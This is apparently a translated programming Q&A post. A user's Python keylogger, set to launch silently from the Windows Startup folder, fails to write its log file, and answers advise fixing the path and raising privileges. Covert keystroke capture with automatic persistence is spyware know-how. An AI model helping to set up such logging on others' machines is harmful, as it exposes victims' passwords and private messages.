当我执行代码(双击.py文件或.bat文件)时,一切正常。但是当程序自动启动时(Startup文件夹中的bat文件执行python脚本)我得到了一个 error (抱歉低质量,从慢镜头视频截图)
(抱歉英语不好并解释,希望有人可以提供帮助)
这是错误
PermissionError: [Errno 13] Permission denied: 'C:\\WINDOWS\\system32\\key_log.text
这是提供错误的代码:
logging.basicConfig(filename=("key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(key)
这是蝙蝠:
start C:\Users\alexa\Desktop\kkk.pyw
答案 0 :(得分:0)
system32可能是自动启动任务的默认目录。设置文件名的完整路径应该修复它
filename=("C:\Users\alexa\Desktop\key_log.txt")
答案 1 :(得分:0)
当在system32路径上系统自动执行时,您可以参考下面的链接来提高程序的权限。